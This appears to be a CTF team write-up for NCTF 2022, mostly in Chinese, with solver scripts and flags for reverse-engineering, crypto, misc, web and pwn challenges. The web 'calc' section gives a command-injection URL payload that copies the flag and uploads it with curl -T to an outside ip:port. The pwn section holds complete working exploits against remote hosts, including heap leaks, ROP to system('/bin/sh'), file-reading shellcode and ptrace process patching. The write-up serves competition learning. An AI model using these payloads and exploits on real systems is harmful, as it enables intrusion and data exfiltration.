REVERSE
Cyberpunk
a=open("/ata0a/flag",7)
tmpHeap=malloc(0x100)
read(5,tmpHeap,0x100)
xor(tmpHeap,81)
d tmpHeap

Ccccha
#include <stdio.h>
#include <stdlib.h>
int main() {
unsigned long long fuck[] = { 0x24aa2514342efc10 ,0x57b9d9d0924bd6aa ,0x668a271f44325f8f ,0x1900ecaca269bcb6 ,0x774ec7717c3840df ,0xd878e3846e0ebb32 };
uint8_t fuckres[42];
for (int i = 0; i < 42; i++)
{
fuckres[i] = *(((char*)fuck) + i);
}
unsigned long long fuck2[] = { 0x23ce4b73757cc05e ,0x708f01f3ac89bba4 ,0x62d45b4183317fc8 ,0x4b50fc9ddc27a7a6 ,0x385117386b2f9806 ,0xef2f };
unsigned char flag[42];
for (int i = 0; i < 42; i++)
{
flag[i] = *(((char*)fuck2) + i)-i;
flag[i] ^= fuckres[i];
printf("%c", flag[i]);
}
}
ez_rev

四个字节一组进行运算,最后手推出来两个一模一样的二元一次方程

z3求解
from z3 import *
result = [
0x7A, 0x08, 0x2E, 0xBA, 0xAD, 0xAF, 0x82, 0x8C, 0xEF, 0xD8,
0x0D, 0xF8, 0x99, 0xEB, 0x2A, 0x16,
0x05, 0x43, 0x9F, 0xC8, 0x6D, 0x0A, 0x7F, 0xBE, 0x76, 0x64,
0x2F, 0xA9, 0xAC, 0xF2, 0xC9, 0x47,
0x75, 0x75, 0xB5, 0x33
]
for i in range(0, len(result), 2):
x=BitVec('x', 8)
y = BitVec('y', 8)
s=Solver()
s.add(x * 0x7e + y * 0x19 == result[i])
s.add(x * 0x1f + y * 0x75 == result[i + 1])
print(s.check())
print((s.model()))
flag = [102, 54, 100, 102, 102, 97, 98, 54, 45, 49, 55, 51, 102, 45, 52, 98, 98, 49, 45, 97, 57, 55, 51, 45, 54, 50, 102, 51, 102, 56, 50, 53, 52, 101, 98, 97]
s = ""
for i in flag:
s += chr(i)
print(s)
#NCTF{f6dffab6-173f-4bb1-a973-62f3f8254eba}
just run it
逆推出映射转化关系,写出逆转换函数,将正确的box逆转换,再和box2 异或,再逆转换既可得到正确的key
def decode(a):
s=a.copy()
s[0]=a[0]
s[1]=a[1]
s[2]=a[4]
s[3]=a[8]
s[4]=a[5]
s[5]=a[2]
s[6]=a[3]
s[7]=a[6]
s[8]=a[9]
s[9]=a[12]
s[10]=a[13]
s[11]=a[10]
s[12]=a[7]
s[13]=a[11]
s[14]=a[14]
s[15]=a[15]
return s
out2=[17, 77, 146, 218, 172, 11, 98, 247, 84, 81, 39, 90, 114, 98, 123, 118]
xor_box=[70, 124, 193, 49, 103, 162, 180, 13, 50, 17, 80, 21, 131, 60, 20, 87]
out1=decode(out2)
for i in range(len(out1)):
out1[i]^=xor_box[i]
key=decode(out1)
for i in key:
print(chr(i),end='')
得到争取的key W1lc0menctf2o2o!
动调推出下面为SM4
box=bytes([77, 147, 190, 22, 46, 222, 51, 116, 218, 83, 246, 138, 67, 99, 98, 132, 213, 246, 42, 195, 208, 165, 4, 45, 3, 104, 46, 18, 148, 36, 51, 16, 249, 246, 91, 97, 92, 22, 93, 222, 144, 134, 191, 223, 61, 11, 205, 59])
key = b'W1lc0menctf2o2o!'
其中最后sm4解密我用的是在线解密
ps:因为gmssl.sm4库坑死我了,填充方式应该为无填充,可它加个未知的填充坑了我好久

Crypto
signin
- MTP攻击后校正
- 通过异或获得完整信息
"""
p11 ^ tmp11
p12 ^ tmp12
"""
import Crypto.Util.strxor as xo
import codecs, numpy as np
import hashlib
def isChr(x):
if ord('a') <= x and x <= ord('z'): return True
if ord('A') <= x and x <= ord('Z'): return True
return False
def attack(cipher):
dat = []
def getSpace(c):
for index, x in enumerate(c):
res = [xo.strxor(x, y) for y in c if x!=y]
f = lambda pos: len(list(filter(isChr, [s[pos] for s in res])))
cnt = [f(pos) for pos in range(len(x))]
for pos in range(len(x)):
dat.append((f(pos), index, pos))
def infer(index, pos):
if msg[index, pos] != 0:
return
msg[index, pos] = ord(' ')
for x in range(len(c)):
if x != index:
msg[x][pos] = xo.strxor(c[x], c[index])[pos] ^ ord(' ')
c = [codecs.decode(x.strip().encode(), 'hex') for x in cipher]
# print(c)
msg = np.zeros([len(c), len(c[0])], dtype=int)
getSpace(c)
dat = sorted(dat)[::-1]
for w, index, pos in dat:
infer(index, pos)
return [''.join([chr(c) for c in x]) for x in msg]
cipher = '19c51488dda8c5a43b77d3eba6cc534c3b7ef72c944d1341c0af66885c9bc32d2cc614db92bc91b6226c90e6e3ca5e5e3278ee2cd56c216cc9ee2b94419080283fc21fc7c7ae91a73a7196ecae8954472a75f97e92221c77c9e86e895d8c823428de51c3d7a4c2a03c6692e0e3cb5b413976ef209c753d6a8ae72b864a9bc33425c81f88ea92e3b12a2384e4b7c1175a3278bc7cd0633c6d9dea7393189c8f2f2ec60288c6b291b32b77d3f9abcc174d336df469ce76307b9da12bad4d8d97602cde51dfdba9d9f421779be8b189445a2878fd619c613c7381ea799414de852c24dd01c1dcba91b56e619af9e3c0590e2e75f92cdf6b256b8cfd7f82408ac3303fc215ddd1b8c2f42f2395e1aad9474b3e3dfe65c8223c6dc9fb6382188e8f2124c305cdcaa991b53a2387e5a689444f3778bc60d361347780e065c918aa8b293e8d01daddadd4a63a7ad3ecafc55859293df16dd27b75669bfd6495159d8c323fc812dcdbb3d6f42d6c97e8b08943417a7be962df763c6c87af65884a93822c21d451cdc4b8dff4396b96e3e3c8475e3674f9689c60306586fd6ec75d90803234dd05c1ddb39f'
c1 = [cipher[2*i*32:(2*i+1)*32] for i in range((len(cipher) // 32)//2)]
a1 = attack(c1)
c2 = [cipher[(2*i+1)*32:(2*i+2)*32] for i in range((len(cipher) // 32)//2)]
a2 = attack(c2)
print(a1)
print(a2)
for i in range(len(a2)):
print(a1[i],end='')
print(a2[i], end='')
m11 = b'The output feedb'
m12 = b'ack (OFB) mode m'
def sxor(b1, b2):
ans = []
for each in range(len(b1)):
ans.append(b1[each] ^ b2[each])
return bytes(ans)
tmp11 = sxor(b''.fromhex(c1[0]), m11)
tmp12 = sxor(b''.fromhex(c2[0]), m12)
print()
print()
msg = ''
C = [cipher[i*32:(i+1)*32] for i in range(len(cipher)//32)]+[cipher[-(len(cipher) % 32):]]
for i in range(len(C)):
if i % 2 == 0:
key = tmp11
else:
key = tmp12
c = b''.fromhex(C[i])
len1 = len(c)
if len1 != 16:
key = key[:len1]
msg += sxor(key, c).decode()
print(msg)
m = hashlib.md5()
m.update(msg.encode())
print(m.hexdigest())
# The output feedback (OFB) mode makes a block cipher into a synchronous stream cipher. It generates keystream blocks, which are then XORed with the plaintext blocks to get the ciphertext. Just as with other stream ciphers, flipping a bit in the ciphertext produces a flipped bit in the plaintext at the same location. This property allows many error-correcting codes to function normally even when applied before encryption.
# 544c25a09043b994bcc00ecda3d05b4e
# NCTF{4_FUNNY_CrYP70_516N1N}
Coloratura
- 随机数回溯恢复SourceImg(不足补零)
- 异或得到flag
import sys
from Crypto.Util.number import *
from PIL import Image, ImageDraw
from random import getrandbits
width = 208
height = 208
img3 = Image.open('/Users/0HB/Desktop/复现/NCTF2022/Coloratura/attach.png')
s = []
# # img2 = makeFlagImg()
# # img2.save('1203.png')
# img3 = Image.new("RGB", (width, height))
for i in range(height):
for j in range(width):
tmp = list(img3.getpixel((j, i)))
tmp = [int(tmp[k] ^ 0) for k in range(3)] # 异或0
s += tmp
s = bytes(s)
s = [s[i*4:(i+1)*4] for i in range(len(s)//4)]
from extend_mt19937_predictor import ExtendMT19937Predictor
predictor = ExtendMT19937Predictor()
for _ in range(-624,0):
predictor.setrandbits(bytes_to_long(s[_][::-1]), 32)
_ = [predictor.backtrack_getrandbits(32) for _ in range(624)] # 回溯到起始状态
ans = b''.join(s[-624:])
for i in range((129792 // 4)-624):
tmp = predictor.backtrack_getrandbits(32)
tmp = long_to_bytes(tmp)[::-1]
tmp = list(tmp)
if len(tmp) != 4:
tmp = [0] + tmp
# sys.exit()
ans = bytes(tmp) + ans
def makeSourceImg():
colors = ans
img = Image.new('RGB', (width, height))
x = 0
for i in range(height):
for j in range(width):
img.putpixel((j, i), (colors[x], colors[x + 1], colors[x + 2]))
x += 3
return img
img1 = makeSourceImg()
# img2 = makeFlagImg()
img2 = Image.open('/Users/0HB/Desktop/复现/NCTF2022/Coloratura/attach.png')
img3 = Image.new("RGB", (width, height))
for i in range(height):
for j in range(width):
p1, p2 = img1.getpixel((j, i)), img2.getpixel((j, i))
img3.putpixel((j, i), tuple([(p1[k] ^ p2[k]) for k in range(3)]))
img3.save('/Users/0HB/Desktop/复现/NCTF2022/Coloratura/flag.png')
# nctf{Coloratura_Coldplay}
dp_promax
dp_promax _revenge里有提示,factordb上可查,哈人
import gmpy2, libnum
n= 46460689902575048279161539093139053273250982188789759171230908555090160106327807756487900897740490796014969642060056990508471087779067462081114448719679327369541067729981885255300592872671988346475325995092962738965896736368697583900712284371907712064418651214952734758901159623911897535752629528660173915950061002261166886570439532126725549551049553283657572371862952889353720425849620358298698866457175871272471601283362171894621323579951733131854384743239593412466073072503584984921309839753877025782543099455341475959367025872013881148312157566181277676442222870964055594445667126205022956832633966895316347447629237589431514145252979687902346011013570026217
e = 13434798417717858802026218632686207646223656240227697459980291922185309256011429515560448846041054116798365376951158576013804627995117567639828607945684892331883636455939205318959165789619155365126516341843169010302438723082730550475978469762351865223932725867052322338651961040599801535197295746795446117201188049551816781609022917473182830824520936213586449114671331226615141179790307404380127774877066477999810164841181390305630968947277581725499758683351449811465832169178971151480364901867866015038054230812376656325631746825977860786943183283933736859324046135782895247486993035483349299820810262347942996232311978102312075736176752844163698997988956692449
c = 28467178002707221164289324881980114394388495952610702835708089048786417144811911352052409078910656133947993308408503719003695295117416819193221069292199686731316826935595732683131084358071773123683334547655644422131844255145301597465782740484383872480344422108506521999023734887311848231938878644071391794681783746739256810803148574808119264335234153882563855891931676015967053672390419297049063566989773843180697022505093259968691066079705679011419363983756691565059184987670900243038196495478822756959846024573175127669523145115742132400975058579601219402887597108650628746511582873363307517512442800070071452415355053077719833249765357356701902679805027579294
p = 3628978044425516256252147348112819551863749940058657194357489608704171827031473111609089635738827298682760802716155197142949509565102167059366421892847010862457650295837231017990389942425249509044223464186611269388650172307612888367710149054996350799445205007925937223059
q = n//p
d = int(gmpy2.invert(e, (p-1)*(q-1)))
m = int(pow(c,d,n))
print(libnum.n2s(m))
# nctf{Th1s_N_May_n0t_s0@o0@@_secur3}
misc
只因因
使用提及的blast工具,可以找到基因为"CFTR",然后md5加密即可。
http://www.ncbi.nlm.nih.gov/BLAST/
Signin

炉边聚会
网上找的学习链接:
大神_游戏热爱者兴趣圈_游戏社区
炉石卡组代码解析
里面有现成的脚本,拼接起来,替换掉strings
输出即可。
<?php
$deckstring = "strings";
#这是一个非常有趣的萨满卡组
$binary = base64_decode($deckstring);
$hex = bin2hex($binary);
#对于这个卡组,$hex="00010101fd06000fce069707cc08e20cff0fc814e616b6ac02aeb002a5be02f8bf02f9bf02a2cd02f8d002a6ef0200"
$arr = str_split($hex, 2);
$arr = array_map("hexdec", $arr);
function read_varint(&$data) {
$shift = 0;
$result = 0;
do {
$c = array_shift($data);
$result |= ($c & 0x7f) << $shift;
$shift += 7;
}
while ($c & 0x80);
return $result;
}
function parse_deck($data) {
$reserve = read_varint($data);
if ($reserve != 0) {
printf("Invalid deckstring");
die;
}
$version = read_varint($data);
if ($version != 1) {
printf("Unsupported deckstring version %s", $version);
die;
}
$format = read_varint($data);
$heroes = [];
$num_heroes = read_varint($data);
for ($i = 0; $i < $num_heroes; $i++) {
$heroes[] = read_varint($data);
}
$cards = [];
$num_cards_x1 = read_varint($data);
for ($i = 0; $i < $num_cards_x1; $i++) {
$card_id = read_varint($data);
$cards[] = [$card_id, 1];
}
$num_cards_x2 = read_varint($data);
for ($i = 0; $i < $num_cards_x2; $i++) {
$card_id = read_varint($data);
$cards[] = [$card_id, 2];
}
$num_cards_xn = read_varint($data);
for ($i = 0; $i < $num_cards_xn; $i++) {
$card_id = read_varint($data);
$count = read_varint($data);
$cards[] = [$card_id, $count];
}
return [$cards, $heroes, $format];
}
print_r(parse_deck($arr)[0]);
其实后面就卡住了,但是注意到每个卡组数字是一,然后前两个是780和670
就是除以10然后正常拼接就行,字数不多可以手撕
qrssssssss
二维码批量识别,批量二维码识别 - 支持批量处理,按时间递增排序,然后对文本进行稍稍处理一下:
NNNNNNNNNNNNNNNN
CTTTCCTTFTCTFFFC
TCTCCCFFCFFCCTFT
CTFCTFFFFFTCTTFC
{77{{7{{{{{7{77{
7{{{77777{77{7{7
3333333333333333
7777777777777777
1111111111111111
5555555555555555
--00----00--0--0
-00-0-00---00000
eeeeeeeeeeeeeeee
ebeebeebeebebbbe
bebebebeebeebbbb
----------------
4444444444444444
6565556555566566
6666565655566655
----------------
99ee9eee9ee99ee9
e99e99e999eee99e
1111111111111111
----------------
1111111111111111
1111111111111111
0000000000000000
aa8aa8a8a8aa88a8
aa8a8a8888a8a88a
ffffffffffffffff
bbbbbbbbbbbbbbbb
}}}}}}}}}}}}}}}}
括号内的内容是26个,其实基本都能确定了,剩下的可以多次试一试就找到了:
NCTF{737150-eeb-465-e91-110a8fb}
qrssssssss_revenge
这个题目按照时间、文件大小排序都没有很好的效果,但是有HINT:LMQH
所以这个题目是要按照纠错等级进行分布,恰好,QR RESEARCH支持这个功能,还是括号内26个字母,手撕开始:
然后按照掩码从0开始进行顺序拼接:
NCTF{621
30783efd
44b3692b
4ddbecf}
拼接即可:NCTF{62130783efd44b3692b4ddbecf}
Signout
NCTF{Thanks_for_your_participation}
web
calc
这题是半个原题,过滤了#
,但是没过滤'
,通过'''
来闭合,进而执行命令
开始尝试了curl外带,但/flag不存在,由于是公网环境,读tmp/log.txt发现里面有根目录,就看到了flag名字Th1s_is__F1114g
,但还是读不了flag,因为名字里面有过滤字符
采取的办法,cp
来绕过
/calc?num=%27%27%271%27%0acp%09/T*%09/1.txt%0a%273%27%27%27
然后通过curl外带数据
/calc?num=%27%27%271%27%0acurl%09-T%09/1.txt%09ip:port%0a%273%27%27%27
参考文章
DASCTF X SU 三月春季挑战赛复现 - xiaolong's blog (xiaolong22333.top)
pwn
babyLinkedList
#!/usr/bin/python3
# -*- coding:utf-8 -*-
from pwn import *
import os, struct, random, time, sys, signal
libc = ELF('libc.so')
class Shell():
def __init__(self):
self.clear(arch='amd64', os='linux', log_level='info')
self.pipe = remote('49.233.15.226', 8002)
def send(self, data:bytes, **params): return self.pipe.send(data, **params)
def sendline(self, data:bytes, **params): return self.pipe.sendline(data, **params)
def recv(self, **params): return self.pipe.recv(**params)
def close(self, **params): return self.pipe.close(**params)
def recvrepeat(self, timeout, **params): return self.pipe.recvrepeat(timeout, **params)
def interactive(self, **params): return self.pipe.interactive(**params)
def clear(self, **params): return context.clear(**params)
def recvn(self, numb, **params):
result = self.pipe.recvn(numb, **params)
if(len(result) != numb):
raise EOFError('recvn')
return result
def recvuntil(self, delims, **params):
result = self.pipe.recvuntil(delims, drop=False, **params)
if(not result.endswith(delims)):
raise EOFError('recvuntil')
return result[:-len(delims)]
def sendafter(self, delim, data, **params):
self.recvuntil(delim, **params)
self.send(data, **params)
def sendlineafter(self, delim, data, **params):
self.recvuntil(delim, **params)
self.sendline(data, **params)
def add(self, size, content):
self.sendlineafter(b'>> ', b'1')
self.sendlineafter(b'size\n', str(size).encode())
self.sendafter(b'content\n', content)
def delete(self):
self.sendlineafter(b'>> ', b'2')
def show(self):
self.sendlineafter(b'>> ', b'3')
def edit(self, content):
self.sendlineafter(b'>> ', b'4')
time.sleep(0.1)
sh.send(content)
sh = Shell()
for i in range(54):
sh.add(0x1c, b'aaaa')
sh.edit(b'b' * 0x20)
sh.show()
sh.recvuntil(b'b' * 0x20)
libc_addr = (u64(sh.recvn(6) + b'\0\0') - 0xa6000) & (~0xfff)
success('libc_addr: ' + hex(libc_addr))
sh.edit(b'c' * 0x20 + p64(libc_addr + libc.sym['environ']))
sh.show()
sh.recvuntil(b'Content: ')
stack_addr = u64(sh.recvn(6) + b'\0\0')
success('stack_addr: ' + hex(stack_addr))
sh.add(0x1c, b'dddd')
sh.edit(b'e' * 0x20 + p64(stack_addr - 0x90))
sh.edit(p64(libc_addr + next(libc.search(asm('pop rdi;ret;')))) + p64(libc_addr + next(libc.search(b'/bin/sh'))) + p64(libc_addr + libc.sym['system']))
sh.interactive()
#date -f /home/ctf/flag
ezlink
#!/usr/bin/python3
# -*- coding:utf-8 -*-
from pwn import *
import os, struct, random, time, sys, signal
class Shell():
def __init__(self):
self.clear(arch='amd64', os='linux', log_level='debug')
# self.pipe = process(['./ezlink'])
self.pipe = remote('49.233.15.226', 8003)
def send(self, data:bytes, **params): return self.pipe.send(data, **params)
def sendline(self, data:bytes, **params): return self.pipe.sendline(data, **params)
def recv(self, **params): return self.pipe.recv(**params)
def close(self, **params): return self.pipe.close(**params)
def recvrepeat(self, timeout, **params): return self.pipe.recvrepeat(timeout, **params)
def interactive(self, **params): return self.pipe.interactive(**params)
def clear(self, **params): return context.clear(**params)
def recvn(self, numb, **params):
result = self.pipe.recvn(numb, **params)
if(len(result) != numb):
raise EOFError('recvn')
return result
def recvuntil(self, delims, **params):
result = self.pipe.recvuntil(delims, drop=False, **params)
if(not result.endswith(delims)):
raise EOFError('recvuntil')
return result[:-len(delims)]
def sendafter(self, delim, data, **params):
self.recvuntil(delim, **params)
self.send(data, **params)
def sendlineafter(self, delim, data, **params):
self.recvuntil(delim, **params)
self.sendline(data, **params)
def add(self, content):
self.sendlineafter(b'>> ', b'1')
self.sendafter(b'secret', content)
def delete(self):
self.sendlineafter(b'>> ', b'2')
def show(self):
self.sendlineafter(b'>> ', b'3')
def edit(self, content):
self.sendlineafter(b'>> ', b'4')
self.sendafter(b'content', content)
sh = Shell()
sh.add(flat({0x18:0xc91}))
sh.delete()
sh.show()
sh.recvuntil(b'secret\n')
heap_addr = u64(sh.recvn(6) + b'\0\0')
next_low1 = 0x590
low1 = 0x4b0
low2 = ((heap_addr >> 0) & 0xfff) ^ next_low1
low3 = ((heap_addr >> 12) & 0xfff) ^ low2
low4 = ((heap_addr >> 24) & 0xfff) ^ low3
heap_addr = low1 + (low2 << 12) + (low3 << 24) + (low4 << 36)
heap_addr = heap_addr - 0x14b0
success('heap_addr: ' + hex(heap_addr))
for i in range(7):
sh.add(b'\n')
sh.delete()
sh.edit(p64(((heap_addr + 0x2080) >> 12) ^ (heap_addr + 0x2240)))
sh.add(p64(heap_addr + 0x14b0) + p64(heap_addr + 0x14d0))
sh.delete()
sh.show()
sh.recvuntil(b'secret\n')
libc_addr = u64(sh.recvn(6) + b'\0\0') - 0x219ce0
success('libc_addr: ' + hex(libc_addr))
sh.add(b'\n')
sh.delete()
sh.edit(p64(((heap_addr + 0x14b0) >> 12) ^ (libc_addr + 0x21a780)))
sh.add(p64(0xfbad3887) + p64(0) * 3 + p64(libc_addr + 0x221200) + p64(libc_addr + 0x221208) + p64(libc_addr + 0x221208))
sh.recvuntil(b'\n')
stack_addr = u64(sh.recvn(8))
success('stack_addr: ' + hex(stack_addr))
sh.add(b'\n')
sh.delete()
sh.edit(p64(((heap_addr + 0x1640) >> 12) ^ (stack_addr-0x128)))
shellcode1 = asm('''
mov edi, 1
lea rsi, s1[rip]
mov edx, 7
mov eax, 1
syscall
xor edi, edi
lea rsi, end[rip]
mov edx, 0x200
xor eax, eax
syscall
jmp end
s1:
.string "Polaris"
end:
''')
shellcode2 = asm('''
jmp start
puts:
push rax
push rdi
push rsi
push rdx
push rbx
xor eax, eax
puts_again:
mov bl, byte ptr [rdi + rax]
test bl, bl
je puts_over
inc eax
jmp puts_again
puts_over:
mov edx, eax
mov rsi, rdi
xor edi, edi
inc edi
mov eax, edi
syscall
xor eax, eax
mov al, 9
inc eax
push rax
mov rsi, rsp
xor edi, edi
inc edi
mov edx, edi
mov eax, edi
syscall
pop rax
pop rbx
pop rdx
pop rsi
pop rdi
pop rax
ret
start:
mov r15d, 0x01010901
sub r15d, 0x01010101
add rsp, r15
;// mov rax, 0x10101010101676d
;// mov r15, 0x0101010101010101
;// sub rax, r15
;// push rax
;// mov rax, 0x65732f636f72702f
;// push rax
;// "/proc/self"
;// push 0x2e
;// "."
push 0x2f
;// "/"
mov rsi, rsp
xor eax, eax
mov edx, eax
mov edi, -100
mov eax, 257
syscall ;// open(path, O_RDONLY)
push rax
xor edi, edi
mov esi, 0x01014101
sub esi, 0x01010101
mov edx, edi
mov dl, 3
mov r10d, 0x01010123
sub r10d, 0x01010101
mov r8d, edi
inc r8d
mov r9d, edi
xor eax, eax
mov al, 9
syscall ;// mmap(NULL, size, 3, 0x22, -1, 0)
mov rsi, rax
pop rdi
mov edx, 0x01014101
sub edx, 0x01010101
mov eax, 0x010101da
sub eax, 0x01010101
syscall ;// getdents64(fd, buf, buf_size)
next_file:
xor rax, rax
mov ax, [rsi + 0x10] ;// d->d_reclen
lea rdi, [rsi + 0x13] ;// d->d_name
cmp dword ptr [rdi], 0x67616c66
jz puts_flag
call puts ;// puts(d->d_name)
add rsi, rax
mov rax, [rsi]
test rax, rax
jne next_file
exit:
xor edi, edi
mov eax, 0x010101e8
sub eax, 0x01010101
syscall ;// exit
puts_flag:
mov rsi, rdi
xor eax, eax
mov edx, eax
mov edi, -100
mov eax, 257
syscall ;// open
push rax
mov rsi, rsp
xor eax, eax
mov edx, eax
inc eax
mov edi, eax
mov dl, 8
syscall ;// write open() return value
pop rax
test rax, rax
js over
mov edi, eax
mov rsi, rsp
mov edx, 0x01010201
sub edx, 0x01010101
xor eax, eax
syscall ;// read
mov edx, eax
mov rsi, rsp
xor eax, eax
inc eax
mov edi, eax
syscall ;// write
over:
xor edi, edi
mov eax, 0x010101e8
sub eax, 0x01010101
syscall ;// exit
''')
sh.add(flat([
0,
libc_addr + 0x000000000002a3e5,
(stack_addr & (~0xfff)),
libc_addr + 0x000000000002be51,
0x1000,
libc_addr + 0x000000000011f497,
7, 0,
libc_addr + 0x0000000000045eb0,
10,
libc_addr + 0x0000000000091396,
libc_addr + 0x000000000008821d,
]) + shellcode1)
sh.sendlineafter(b'>> ', b'5')
sh.recvuntil(b'Polaris')
sh.send(shellcode2)
sh.interactive()
ezshellcode
#!/usr/bin/python3
# -*- coding:utf-8 -*-
from pwn import *
import os, struct, random, time, sys, signal
class Shell():
def __init__(self):
self.clear(arch='amd64', os='linux', log_level='info')
# self.pipe = remote('localhost', 9999)
self.pipe = remote('121.4.15.155', 9999)
def send(self, data:bytes, **params): return self.pipe.send(data, **params)
def sendline(self, data:bytes, **params): return self.pipe.sendline(data, **params)
def recv(self, **params): return self.pipe.recv(**params)
def close(self, **params): return self.pipe.close(**params)
def recvrepeat(self, timeout, **params): return self.pipe.recvrepeat(timeout, **params)
def interactive(self, **params): return self.pipe.interactive(**params)
def clear(self, **params): return context.clear(**params)
def recvn(self, numb, **params):
result = self.pipe.recvn(numb, **params)
if(len(result) != numb):
raise EOFError('recvn')
return result
def recvuntil(self, delims, **params):
result = self.pipe.recvuntil(delims, drop=False, **params)
if(not result.endswith(delims)):
raise EOFError('recvuntil')
return result[:-len(delims)]
def sendafter(self, delim, data, **params):
self.recvuntil(delim, **params)
self.send(data, **params)
def sendlineafter(self, delim, data, **params):
self.recvuntil(delim, **params)
self.sendline(data, **params)
def ptrace_hook(_pid):
_sh = Shell()
shellcode = asm(f'''
mov edi, 16 ;// PTRACE_ATTACH
mov esi, {_pid}
xor edx, edx
xor r10d, r10d
xor r8d, r8d
xor r9d, r9d
mov eax, 101
syscall
;// get_image_addr
sub rsp, 232
mov esi, {_pid}
xor edx, edx
mov edi, 12
mov r10, rsp
xor r8d, r8d
xor r9d, r9d
l1:
mov eax, 101
syscall
cmp rax, 0
jl l1
mov rax, QWORD PTR 40[rsp]
add rsp, 232
sub rax, 4928
mov edi, 5 ;// PTRACE_POKEDATA
mov esi, {_pid}
lea rdx, [rax + 0x4050]
mov r10, rax
add r10, 0x1333
xor r8d, r8d
xor r9d, r9d
mov eax, 101
syscall
mov edi, 17 ;// PTRACE_DETACH
mov esi, {_pid}
xor edx, edx
xor r10d, r10d
xor r8d, r8d
xor r9d, r9d
mov eax, 101
syscall
mov edi, {_pid}
mov esi, 18
mov eax, 62
syscall
exit:
xor edi, edi
mov eax, 231
syscall ;// exit
''')
_sh.recvuntil(b'\n')
# pause()
_sh.send(shellcode)
_sh.close()
sh = Shell()
sh.recvuntil(b': ')
pid = int(sh.recvuntil(b'\n'))
success(f'pid: {pid}')
ptrace_hook(pid)
# pause()
sh.send(asm('''
mov eax, 0x67616c66 ;// flag
push rax
mov rdi, rsp
xor eax, eax
mov esi, eax
mov al, 2
syscall ;// open
push rax
mov rsi, rsp
xor eax, eax
mov edx, eax
inc eax
mov edi, eax
mov dl, 8
syscall ;// write open() return value
pop rax
test rax, rax
js over
mov edi, eax
mov rsi, rsp
mov edx, 0x01010201
sub edx, 0x01010101
xor eax, eax
syscall ;// read
mov edx, eax
mov rsi, rsp
xor eax, eax
inc eax
mov edi, eax
syscall ;// write
over:
xor edi, edi
mov eax, 0x010101e8
sub eax, 0x01010101
syscall ;// exit
'''))
sh.interactive()
# flag{053d8801-8700-4ff5-a6d5-20cc762b719e}